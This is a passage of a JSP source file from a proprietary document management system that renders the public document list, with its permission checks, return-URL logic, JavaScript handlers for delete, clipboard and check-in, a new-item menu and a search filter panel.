<%
/*
 * @(#)ListDmsPublicDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */

/**

  ListDmsPublicDocument.jsp

  This is a ListDmsPublicDocument page.  It shows the active documents' record in EIP.

    @author             Zoe Shum
    @company            DCIVision Ltd
    @creation date      07/11/2003
    @version            $Revision: 1.253.2.52 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%//@ taglib uri="/tags/ajaxAnywhere" prefix="aa" %>
<%//@ page import="org.ajaxanywhere.AAUtils"%>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.forum.core.*"%>
<%@ page import="com.dcivision.workflow.bean.MtmWorkflowProgressSystemObject"%>
<%@ page import="com.dcivision.workflow.dao.MtmWorkflowProgressSystemObjectDAObject"%>
<%@ page import="com.dcivision.workflow.dao.WorkflowProgressDAObject"%>
<%@ page import="java.util.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsPublicDocumentForm" scope="request" class="com.dcivision.dms.web.ListDmsPublicDocumentForm"/>
<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "dmsPublicDocumentList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.priority", "PRIORITY"},
                            {"dms.columnheader.doc_name", "DOCUMENT_NAME"},
                            {"dms.columnheader.item_status", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.item_size", "ITEM_SIZE"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"},
                          };

  String[][] SEARCH_MAP = { {"dms.label.document_name", "DOCUMENT_NAME"},
                            {"dms.label.description", "DESCRIPTION"},
                            {"dms.label.reference_no", "REFERENCE_NO"}
                          };

  int     COLUMN_OFFSET = 1;

  /*if (!Utility.isEmpty(session.getAttribute("pageFlag"))) {
    session.setAttribute("pageFlag",null);
  }else{
    session.setAttribute("pageFlag",null);
  }*/
  String pageFlag = "listDmsPublicDocument";
  String pageURL ="";
  String sCurFunctionCode = listDmsPublicDocumentForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): listDmsPublicDocumentForm.getCurFunctionCode();

  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  String rootID = listDmsPublicDocumentForm.getRootID();
  String parentID = listDmsPublicDocumentForm.getParentID();
  Integer curDocID = new Integer(parentID);
  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  List workflowRelationshipList = (List)request.getAttribute("workflowRelationshipList");

  List sysUDFList=(List)request.getAttribute("sysUDFList");

  DmsDocument tmpDocument = new DmsDocument();

  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  String documentID = request.getParameter("documentID");
  //Permission string
  String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, curDocID);
  String directURL = request.getParameter("directURL") != null ? request.getParameter("directURL") : listDmsPublicDocumentForm.getDirectURL();
  String returnTo = request.getParameter("returnTo") != null ? request.getParameter("returnTo") : listDmsPublicDocumentForm.getReturnTo();


  String blnNoPermission = request.getAttribute("no_permission") != null ? (String)request.getAttribute("no_permission") : "false";

  List pubDocumentList=(List)request.getAttribute("dmsPublicDocumentList");
  String showDefaultProfile = com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_LIST);

  if(!Utility.isEmpty(showDefaultProfile)){
    String[] checkCustomFieldArray = (String[]) TextUtility.splitString(showDefaultProfile, "|");
    if(checkCustomFieldArray.length != 3 ){
    showDefaultProfile += "||"+DmsOperationConstant.DEFAULT_PROFILE_SETTING_ASC;
    }
  }else{
    showDefaultProfile ="||"+DmsOperationConstant.DEFAULT_PROFILE_SETTING_ASC;
  }

  int selectAccount=0;
  int noSelectAccount=0;

  boolean isLightVersion = sessionContainer.getAppContainer()!=null && sessionContainer.getAppContainer().isLightVersion();

  pageURL = "ListDmsPublicDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID+"&curFunctionCode="+sCurFunctionCode;
  pageURL = java.net.URLEncoder.encode(pageURL);

  DmsDocument parentDoc = null;
  DocumentRetrievalManager docRetrievalManager = null;
  VersionControlManager verControlManager = null;
  ForumManager forumManager = null;
  DocumentValidateManager docValidateManager = null;
//try {
  docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
  parentDoc = (DmsDocument)docRetrievalManager.getDocument(TextUtility.parseIntegerObj(parentID));
  verControlManager = new VersionControlManager(sessionContainer, conn);
  forumManager = new ForumManager(sessionContainer,conn);
  docValidateManager = new DocumentValidateManager(sessionContainer,conn);

  String returnURL="";
  String pageViewOptionOfUrl=Utility.isEmpty(listDmsPublicDocumentForm.getPageViewOption())?"":listDmsPublicDocumentForm.getPageViewOption();
  if(Utility.isEmpty(listDmsPublicDocumentForm.getReturnTo())){
    if(parentDoc.getParentID().intValue()==0){
      if(Utility.isEmpty(request.getParameter("myPage"))){
        if(DmsOperationConstant.LIST_PERSONAL_HOME.equals(sCurFunctionCode)){
            returnURL=request.getContextPath()+"/Home.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
        }else{
          returnURL="ListDmsPublicRoot.do?parentID="+parentDoc.getParentID()+"&rootID="+rootID;
  }
      }else{
        if("listDmsDocument".equals(request.getParameter("myPage"))){
          returnURL="ListDmsDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID;
          }else if("listDmsPublicDocument".equals(request.getParameter("myPage"))){
          if (parentDoc.getParentID().intValue() > 0) {
            returnURL="ListDmsPublicDocument.do?parentID="+parentDoc.getParentID()+"&rootID="+rootID+"&pageViewOption="+pageViewOptionOfUrl;
          }else{
            returnURL="ListDmsPublicRoot.do?parentID="+parentDoc.getParentID()+"&rootID="+rootID+"&pageViewOption="+pageViewOptionOfUrl;
          }
          }else if("listDmsAuditTrail".equals(request.getParameter("myPage"))){
          returnURL="ListDmsAuditTrail.do";
          }else{
          returnURL="ListDmsPublicDocument.do?parentID="+parentDoc.getParentID()+"&rootID="+rootID+"&pageViewOption="+pageViewOptionOfUrl;
          }
      }
    }else{
      if(Utility.isEmpty(request.getParameter("myPage"))){
        if (SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(sCurFunctionCode)){
          returnURL="ListDmsDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID;
        }else if (SystemFunctionConstant.DMS_PUBLIC_FOLDER.equals(sCurFunctionCode)){
            returnURL="ListDmsPublicDocument.do?parentID="+parentDoc.getParentID()+"&rootID="+rootID+"&pageViewOption="+pageViewOptionOfUrl;
        }else if (DmsOperationConstant.LIST_PERSONAL_HOME.equals(sCurFunctionCode)){
          returnURL=request.getContextPath()+"/Home.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
        }else{
          returnURL="ListDmsPublicDocument.do?parentID="+parentDoc.getParentID()+"&rootID="+rootID+"&pageViewOption="+pageViewOptionOfUrl;
        }
      }else{
        if("listDmsDocument".equals(request.getParameter("myPage"))){
          returnURL="ListDmsDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID;
          }else if("listDmsPublicDocument".equals(request.getParameter("myPage"))){
          if (parentDoc.getParentID().intValue() > 0) {
            returnURL="ListDmsPublicDocument.do?parentID="+parentDoc.getParentID()+"&rootID="+rootID+"&pageViewOption="+pageViewOptionOfUrl;
          }else{
            returnURL="ListDmsPublicRoot.do?parentID="+parentDoc.getParentID()+"&rootID="+rootID+"&pageViewOption="+pageViewOptionOfUrl;
          }
          }else if("listDmsAuditTrail".equals(request.getParameter("myPage"))){
          returnURL="ListDmsAuditTrail.do";
          }else{
          returnURL="ListDmsPublicDocument.do?parentID="+parentDoc.getParentID()+"&rootID="+rootID+"&pageViewOption="+pageViewOptionOfUrl;
          }
        if (DmsOperationConstant.LIST_PERSONAL_HOME.equals(sCurFunctionCode)){
          returnURL=request.getContextPath()+"/Home.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
        }
      }
    }
  }else{
     returnURL=listDmsPublicDocumentForm.getReturnTo();
  }
%>

<script language="javascript">
<!--
var notAllowDeleteIDAry = new Array();

<%if ("true".equals(request.getAttribute("SUCCESS_CHECKOUT"))) {%>
function INIT() {
  window.location.href = "<%= request.getContextPath() %>/dms/FileDownloadServlet?targetID=<%=documentID%>&version=TOP&isDownload=Y";
}
<% } %>

function getDetail() {
  document.listDmsPublicDocumentForm.opMode.value="<%=GlobalConstant.NAV_MODE_REFRESH%>";
  // use ajaxAnywhere get document list
  //ajaxAnywhere.submitAJAX();
  document.listDmsPublicDocumentForm.submit();
}
//The current default system preference is preference3
var topOffset = 149;

var j=0;
var m=0;
var hasWarning=false;

function OpCustThumbnailView(frm){
    frm.pageViewOption.value='T';
    frm.submit();
}

function OpCustListView(frm){
    frm.pageViewOption.value='';
    frm.submit();
}

//Add Start

function hideNewShortcutDialog(){
  frameDlg.hide();
}

function hideRelationshipDialog(){
  frameDlg.hide();
}

function doDeleteAction(isIgnore) {
  try {
    document.listDmsPublicDocumentForm.ignoreDeleteShortcut.value = "false";//(isIgnore ? "true" : "false");
    OpListDelete(document.listDmsPublicDocumentForm);
  }catch(e) {

  }
  hideRelationshipDialog();
}

function popupNewShortcut(url){
  try{
  	var returnTo = "&returnTo=<%=pageURL%>";
  	if(url.indexOf("&returnTo=&") != -1) {
  		var strs = url.split("&returnTo=&");
  		if(strs.length == 2) {
  			url = strs[0] + returnTo + "&" + strs[1];
  		}
  	}
  	
    frameDlg.setUrl(url);
    cClick();
    frameDlg.show();
  } catch(e) {

  }
}


//add end

function OpCustListDelete(frm){
  var blnNotAllowDelete = false;
  var blnNotHasChecked = true;
  var urlQueryString = "";
  if (frm==null) frm = document.listDmsPublicDocumentForm;
  var form = document.listDmsPublicDocumentForm;
  var basicSelectedID = document.listDmsPublicDocumentForm.basicSelectedID;
  if(basicSelectedID == null) return false;//joan.xiong add code for bug EIP-1045 by 2006/12/01
  if (!basicSelectedID.length) {
    basicSelectedID = new Array(basicSelectedID);
  }
  var notPermissionID = notAllowDeleteIDAry;
  if (!notAllowDeleteIDAry.length) {
    notPermissionID = new Array(notAllowDeleteIDAry);
  }
  for (var i=0; i<basicSelectedID.length; i++) {
    if (basicSelectedID[i].checked) {
      blnNotHasChecked = false;
      urlQueryString += (urlQueryString=="" ? "selectID="+basicSelectedID[i].value : "&selectID="+basicSelectedID[i].value);
      for (var k=0; k<notPermissionID.length; k++) {
        if (basicSelectedID[i].value == notPermissionID[k]) {
          basicSelectedID[i].checked =false;
          blnNotAllowDelete = true;
        }
      }
    }
  }
  if (blnNotHasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
  }else if (blnNotAllowDelete) {
    alert("<bean:message key='dms.message.no_right_delete_doc'/>");
    return false;
  }else {
    send_request("<%= request.getContextPath() %>/jsp/dms/GetDmsRelationships2.jsp?"+urlQueryString+"&date="+new Date());
    var relationshipIds = http_request.responseText;
    var relationshipWarningURL = "<%=request.getContextPath()%>/dms/RelationshipWarning.do?";
    if (relationshipIds.indexOf("RETIDS")!=-1) {
      relationshipWarningURL += relationshipIds.substring(relationshipIds.indexOf("RETIDS")+6);
      relationshipWarningURL += "&formName="+frm.name+"&date="+new Date();
      //OpenCenteredPopup(relationshipWarningURL+"&formName="+frm.name+"&date="+new Date(), "RelationshipWarning", "800", "400", "scrollbars=yes,resizable=no");
      frameDlg.setUrl(relationshipWarningURL);
      //cClick();
      frameDlg.show();
      //var body = document.getElementsByTagName("BODY");
      //body[0].scroll="no";//FOR DOJO IE BUG
    }else if (relationshipIds.indexOf("ERROR")!=-1) {
      alert("Error cause by:"+relationshipIds);
    }else {
      OpListDelete(frm);
    }
  }
}

function CustOpCheckin(documentID, parentID, rootID, curFunctionCode, lockUserID, curUserID, navMode,hasRelationship,returnTo,permission){
  if (permission.indexOf("T") != -1){
    if(hasRelationship==true){
      popupRelationshipWarning(documentID,parentID,rootID,'update',lockUserID,'undefined','<%=pageURL%>');
    }else{
      return OpCheckin(documentID,parentID,rootID,curFunctionCode,lockUserID,curUserID,navMode,returnTo);
    }
  } else {
    alert("<bean:message key='dms.message.no_right_checkin_doc'/>");
  }
}

function SetCheck(docID,funFlag,lockUserID){
  hasWarning=true;
  // if(funFlag=="delete"){
   if(parseInt(document.listDmsPublicDocumentForm.basicSelectedID.length)>1){
       for(var i=0;i<parseInt(document.listDmsPublicDocumentForm.basicSelectedID.length);i++){
         if(document.listDmsPublicDocumentForm.basicSelectedID[i].value==docID){
           document.listDmsPublicDocumentForm.basicSelectedID[i].checked=false;
         }
       }
   }else{
       if(document.listDmsPublicDocumentForm.basicSelectedID.value==docID){
         document.listDmsPublicDocumentForm.basicSelectedID.checked=false;
       }
   }

   //}
 }

function getOtherPage(docID,funFlag,lockUserID,checkUnload,returnTo){

  if(checkUnload==true){
    if(funFlag=="delete"){
      alert("<bean:message key='dms.message.delete_aborted'/>");
    }else if(funFlag=="move"){
      alert("<bean:message key='dms.message.move_aborted'/>");
    }else if(funFlag=="update"){
      alert("<bean:message key='dms.message.update_aborted'/>");
    }
    document.listDmsPublicDocumentForm.submit();
  }else{
    if(funFlag=="move"){
      window.location.href="MaintDmsDocument.do?opMode=<%=DmsOperationConstant.MOVE_OPERATION%>" + "&ID=" + docID+ "&parentID=<%=parentID%>&rootID=<%=rootID%>&curFunctionCode=<%=sCurFunctionCode%>&permission=<%=permission%>&returnTo="+returnTo;
    }else if(funFlag=="update"){
      return OpCheckin(docID,<%=parentID%>,<%=rootID%>,'<%=sCurFunctionCode%>',lockUserID,<%=sessionContainer.getUserRecordID()%>,'<%=DmsOperationConstant.LIST_PUBLIC_PAGE%>',returnTo);
    }
  }
}

function OpSelfListDelete(){
  var checkedCount=0;
  var selectedID = parseInt(document.listDmsPublicDocumentForm.basicSelectedID.length);
  if (parseInt(document.listDmsPublicDocumentForm.basicSelectedID.length)>1) {
    for (var i=0; i<parseInt(document.listDmsPublicDocumentForm.basicSelectedID.length); i++) {
      if (document.listDmsPublicDocumentForm.basicSelectedID[i].checked==true) {
         checkedCount++;
      }
    }
  } else {
    if(document.listDmsPublicDocumentForm.basicSelectedID.checked==true){
       checkedCount++;
    }
  }
  if(hasWarning==false || checkedCount>0){
    return OpListDelete();
  }
}

function PagerGoto(frm, value, navMode) {
  listDmsPublicDocumentForm.curPageNO.value = value;
  listDmsPublicDocumentForm.navMode.value = NAV_MODE_LIST;
  listDmsPublicDocumentForm.submit();
  return (false);
}

function CustOpList(docForm,sortAttr, sortOrder){
  docForm.curPageNO.value = 0;
  OpList(docForm,sortAttr, sortOrder);
  return false;
}

function OpList(frm, sortValue, sortOrder, navMode) {
  frm.curPageNO.value="";
  frm.lastPageNO.value="";
  frm.pageAmount.value="";
  frm.cursor.value="";
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }

  frm.sortAttribute.value = sortValue;
  frm.sortOrder.value = sortOrder;
  frm.curStartRowNo.value = 1;

  frm.opMode.value = NAV_MODE_LIST;
  frm.navMode.value = NAV_MODE_LIST;
  if (navMode!=null) {
    frm.navMode.value = navMode;
  }
  // use ajaxAnywhere get document list
  //ajaxAnywhere.submitAJAX();
  frm.submit();
  return false;
} // end of the 'OpList()' function

function OpCustListReset(frm) {
  frm.curPageNO.value="";
  frm.lastPageNO.value="";
  frm.pageAmount.value="";
  frm.cursor.value="";
  frm.displayOption.value = '<%=ListDmsPublicDocumentForm.DEFAULT_DISPLAY_DOC_TYPE%>';
  return OpListReset(frm);
}
-->
</script>

<script language="javascript">
<!--
function OpCustClipboard(frm){

  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].checked) {
        hasChecked = true;
        //Check this document status by workflow
        if(frm.elements[i].title=="false"){
          alert("<bean:message key='errors.dms.clip_operation_failed'/>");
          return false;
        }

        if ('<%=DmsVersion.EXCLUSIVE_LOCK%>'==(eval("frm.itemStatus_"+frm.elements[i].value).value)){
          alert('<bean:message key='dms.message.checkout_not_clipped'/>')
          return false;
        }//end if
        if ('<%=DmsVersion.ARCHIVED_STATUS%>'==(eval("frm.itemStatus_"+frm.elements[i].value).value)){
          alert('<bean:message key='dms.message.Archive_not_clipped'/>');
          return false;
          break;
        }
      }//end if
    }//end if
  }//end for

 return  OpClipboard(frm);

}

function opGrant(){
  document.listDmsPublicDocumentForm.treeType.value = "1";
  document.listDmsPublicDocumentForm.submit();
  return false;
}

function opDeny(){
  document.listDmsPublicDocumentForm.treeType.value = "0";
  document.listDmsPublicDocumentForm.submit();
  return false;
}

// Refresh own page. EIP-1438 07/01/11 LEE
function refreshPage() {
  document.listDmsPublicDocumentForm.opMode.value = NAV_MODE_LIST;
  document.listDmsPublicDocumentForm.navMode.value = NAV_MODE_LIST;
  document.listDmsPublicDocumentForm.submit();
}

-->
</script>


<!-- Menu Layer Begin -->
<div id="NewObjectMenuLayer" style="left:0px;top:0px;">
	<ul>
		<%if (!"X".equals(parentDoc.getItemStatus())) {%>
		<logic:permission right='I' objectType='D' objectID='<%=curDocID%>'>
		<li><a href="MaintDmsDocument.do?documentType=<%=DmsDocument.DOCUMENT_TYPE%>&rootID=<%=rootID%>&parentID=<%=parentID%>&returnTo=<%=pageURL%>&curFunctionCode=<%=sCurFunctionCode%>"><bean:message key="dms.label.new_document"/></a></li>
		<%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
		</logic:permission>
		<%}%>

		<%if(DmsDocument.FOLDER_TYPE.equals(parentDoc.getDocumentType())){ %>
		<logic:permission right='F' objectType='D' objectID='<%=curDocID%>'>
		<li><a href="MaintDmsDocument.do?documentType=<%=DmsDocument.FOLDER_TYPE%>&rootID=<%=rootID%>&parentID=<%=parentID%>&returnTo=<%=pageURL%>&curFunctionCode=<%=sCurFunctionCode%>"><bean:message key="dms.label.new_folder"/></a></li>
		<%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
		</logic:permission>
		<%}%>

		<%if(!"X".equals(parentDoc.getItemStatus())){%>
		<logic:permission right='I' objectType='D' objectID='<%=curDocID%>'>
		<li><a href="MaintMtmDocumentRelationship.do?relationshipType=<%=DmsDocument.DOCUMENT_LINK%>&rootID=<%=rootID%>&parentID=<%=parentID%>&returnTo=<%=pageURL%>&curFunctionCode=<%=sCurFunctionCode%>"><bean:message key="dms.label.new_shortcut"/></a></li>
		<%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
		</logic:permission>
		<%}%>

		<%if (permission.indexOf("I")>=0) {%>
		<%if(DmsDocument.FOLDER_TYPE.equals(parentDoc.getDocumentType())){ %>
		<logic:permission objectType='' functionCode='<%=SystemFunctionConstant.DMS_EMPTY_FILE%>' right='I'>
		<li><a href="MaintDmsEmptyDocument.do?opMode=<%=DmsOperationConstant.CREATE_EMPTY_FILE%>&documentType=<%=DmsDocument.DOCUMENT_TYPE%>&rootID=<%=rootID%>&parentID=<%=parentID%>&returnTo=<%=pageURL%>&curFunctionCode=<%=sCurFunctionCode%>"><bean:message key="dms.label.new_reference"/></a></li>
		<%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
		</logic:permission>
		<%}%>
		<%}%>

		<%if (permission.indexOf("I")>=0) {%>
		<%if(DmsDocument.FOLDER_TYPE.equals(parentDoc.getDocumentType())){ %>
		<logic:permission objectType='' functionCode='<%=SystemFunctionConstant.DMS_COMPOUND_DOCUMENT%>' right='I'>
		<li><a href="MaintDmsCompoundDocument.do?documentType=<%=DmsDocument.COMPOUND_DOC_TYPE%>&rootID=<%=rootID%>&parentID=<%=parentID%>&returnTo=<%=pageURL%>&curFunctionCode=<%=sCurFunctionCode%>"><bean:message key="dms.label.new_compound_document"/></a></li>
		<%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
		</logic:permission>
		<%}%>
		<%}%>

		<%if(SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_ENABLE_PAPER_DOCUMENT)){%>
		<%if(permission.indexOf("I")>=0){%>
		<%if(DmsDocument.FOLDER_TYPE.equals(parentDoc.getDocumentType())){%>
		<logic:permission objectType='' functionCode='<%=SystemFunctionConstant.DMS_PAPER_DOCUMENT%>' right='I'>
		<li><a href="MaintDmsPaperDocument.do?documentType=<%=DmsDocument.PAPER_DOC_TYPE%>&rootID=<%=rootID%>&parentID=<%=parentID%>&returnTo=<%=pageURL%>&curFunctionCode=<%=sCurFunctionCode%>"><bean:message key="dms.label.new_paper_document"/></a></li>
		<%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
		</logic:permission>
		<%}%>
		<%}%>
		<%}%>
	</ul>
</div>
<!-- Menu Layer End   -->

<!-- Form Section Begin -->
<html:form action="dms/ListDmsPublicDocument" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="parentID"/>
<html:hidden property="rootID"/>
<html:hidden property="curPageNO"/>
<html:hidden property="lastPageNO"/>
<html:hidden property="pageViewOption"/>
<html:hidden property='curFunctionCode'value='<%=sCurFunctionCode%>'/>
<html:hidden property="directURL" value='<%=directURL%>'/>
<html:hidden property="cursor"/>
<html:hidden property="pageAmount"/>
<html:hidden property="treeType"/>
<html:hidden property="ignoreDeleteShortcut"/>
<html:hidden property="displayOption"/>
<input type="hidden" name="selectAccount" value="<%=selectAccount%>">
<input type="hidden" name="noSelectAccount" value="<%=noSelectAccount%>">

<%//Add By Jim Zhou  2006/10/11     EIP-338
  if (!blnNoPermission.equals("true")){
  //Add End
%>
<layout:listBar>
    <div class="button">
         <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
        <%
        // The compound document is checkout status, not allow oprate.
        if((DmsDocument.COMPOUND_DOC_TYPE.equals(parentDoc.getDocumentType())
            && DmsVersion.EXCLUSIVE_LOCK.equals(parentDoc.getItemStatus()))
            || (DmsDocument.COMPOUND_DOC_TYPE.equals(parentDoc.getDocumentType())
            && DmsVersion.ARCHIVED_STATUS.equals(parentDoc.getItemStatus()))) {
        %>
        <span class="but-colheader">
            <div class="but_left"><html:img imageName="MenuButtonNew" src="LayoutSpacer.gif" width="0"/></div><span style="width:50px" class="text"><bean:message key="common.label.new"/></span>
            <div class="but_right_arrow"></div>
        </span>
        <%} else if( permission!=null && permission.indexOf("I") < 0 && permission.indexOf("F") >=0 ){%>
        <span class="but-colheader"><a href="javascript:showNewObjectMenu();"><div class="but_left"><html:img imageName="MenuButtonNew" src="LayoutSpacer.gif" width="0"/></div><span style="width:50px" class="text"><bean:message key="common.label.new"/></span></a><a href="javascript:showNewObjectMenu();"><div class="but_right_arrow"></div></a></span>
        <% } else {%>
        <logic:permission right='I' objectType='D' objectID='<%=curDocID%>'>
        	<span class="but-colheader"><a href="MaintDmsDocument.do?documentType=<%=DmsDocument.DOCUMENT_TYPE%>&rootID=<%=rootID%>&parentID=<%=parentID%>&curFunctionCode=<%=sCurFunctionCode%>"><div class="but_left"><html:img imageName="MenuButtonNew" src="LayoutSpacer.gif" width="0"/></div><span style="width:50px" class="text"><bean:message key="common.label.new"/></span></a><a href="javascript:showNewObjectMenu();"><div class="but_right_arrow"></div></a></span>
        	<span class="but-colheader-disabled"><div class="but_left"><html:img imageName="MenuButtonNew" src="LayoutSpacer.gif" width="0"/></div><span style="width:50px" class="text"><bean:message key="common.label.new"/></span><div class="but_right_arrow"></div></span>
       	</logic:permission>
        <%}%>
        <%if(!DmsDocument.PAPER_DOC_TYPE.equals(parentDoc.getDocumentType())){ %>
        <html:colheaderButton label="dms.label.clip" onClick="return(OpCustClipboard(listDmsPublicDocumentForm))"/>
        <%}%>
        <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="D" objectType="D" objectID="<%=curDocID%>" label="common.label.delete" onClick="return(OpCustListDelete(listDmsPublicDocumentForm))"/>
        <%if (SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_ENABLE_THUMBNAIL_VIEW)) {%>
        <%if (Utility.isEmpty(listDmsPublicDocumentForm.getPageViewOption())) {%>
        <html:colheaderButton label="dms.label.thumbnail_view" onClick="return(OpCustThumbnailView(listDmsPublicDocumentForm));"/>
        <%} else if ("T".equals(listDmsPublicDocumentForm.getPageViewOption())) {%>
        <html:colheaderButton label="dms.label.list_view" onClick="return(OpCustListView(listDmsPublicDocumentForm));"/>
        <%}%>
        <%}%>
        <!-- Document profile added to filter the document end -->
    </div>
    <layout:filterControl/>
    </layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType'>
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);"/></td>
            </tr>
            <%if (!Utility.isEmpty(sysUDFList)){%>
            <tr>
                <td class="filterPanelItem" nowrap><bean:message key='dms.label.user_defined_index'/>:</td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='userDefinedFieldID' onchange='getDetail()'>
                    <html:options dbListName='dmsUserDefinedIndexList' displayLabel='common.options.select_menu.all'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>&nbsp;</td>
            </tr>
            <%}%>
            <tr>
                <td class="filterPanelItem" rowspan="3" nowrap>File Type:</td>
                <td class="filterPanelItem" nowrap><input type="checkbox" name="fileType" value="D" onClick="filterFileType(this);"/><bean:message key='dms.label.doc_type_D'/></td>
                <td class="filterPanelItem" nowrap><input type="checkbox" name="fileType" value="C" onClick="filterFileType(this);"/><bean:message key='dms.label.doc_type_C'/></td>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap><input type="checkbox" name="fileType" value="Z" onClick="filterFileType(this);"/><bean:message key='dms.label.doc_type_Z'/></td>
                <td class="filterPanelItem" nowrap><input type="checkbox" name="fileType" value="E" onClick="filterFileType(this);"/><bean:message key='dms.label.doc_type_E'/></td>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap><input type="checkbox" name="fileType" value="L" onClick="filterFileType(this);"/><bean:message key='dms.label.doc_type_L'/></td>
              <% if(com.dcivision.framework.SystemParameterFactory.getSystemParameterBoolean(com.dcivision.framework.SystemParameterConstant.DMS_ENABLE_PAPER_DOCUMENT)){ %>                    	
                <td class="filterPanelItem" nowrap><input type="checkbox" name="fileType" value="H" onClick="filterFileType(this);"/><bean:message key='dms.label.doc_type_H'/></td>
              <%}else{%>                
                <td class="filterPanelItem" nowrap>&nbsp;</td>
              <%}%>     
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsPublicDocumentForm, '${listDmsPublicDocumentForm.sortAttribute}', '${listDmsPublicDocumentForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpCustListReset(listDmsPublicDocumentForm))"/>
    </div>
    <br style="clear:both" />
    <script language="JavaScript">
    <!--
    popuplateFileType();

    function filterFileType(fileType){
        listDmsPublicDocumentForm.displayOption.value = '';
        for(i=0;i < listDmsPublicDocumentForm.fileType.length;i++){
            if(listDmsPublicDocumentForm.fileType[i] && listDmsPublicDocumentForm.fileType[i].checked){
                listDmsPublicDocumentForm.displayOption.value += listDmsPublicDocumentForm.fileType[i].value;
            }
        }
    }
    function popuplateFileType(){
        for(i=0;i < listDmsPublicDocumentForm.fileType.length;i++){
            if(listDmsPublicDocumentForm.displayOption.value.indexOf(listDmsPublicDocumentForm.fileType[i].value) > -1){
                listDmsPublicDocumentForm.fileType[i].checked = true;
            }
        }
    }
    
    //-->
    </script>
</div>

<div>
<table cellpadding="0" cellspacing="0" border="0" width="100%">
  <tr>
  <%if ("0".equals(listDmsPublicDocumentForm.getTreeType())){%>
  <td valign="top" class="dtreeContainer">
  <div id="treeContainer">
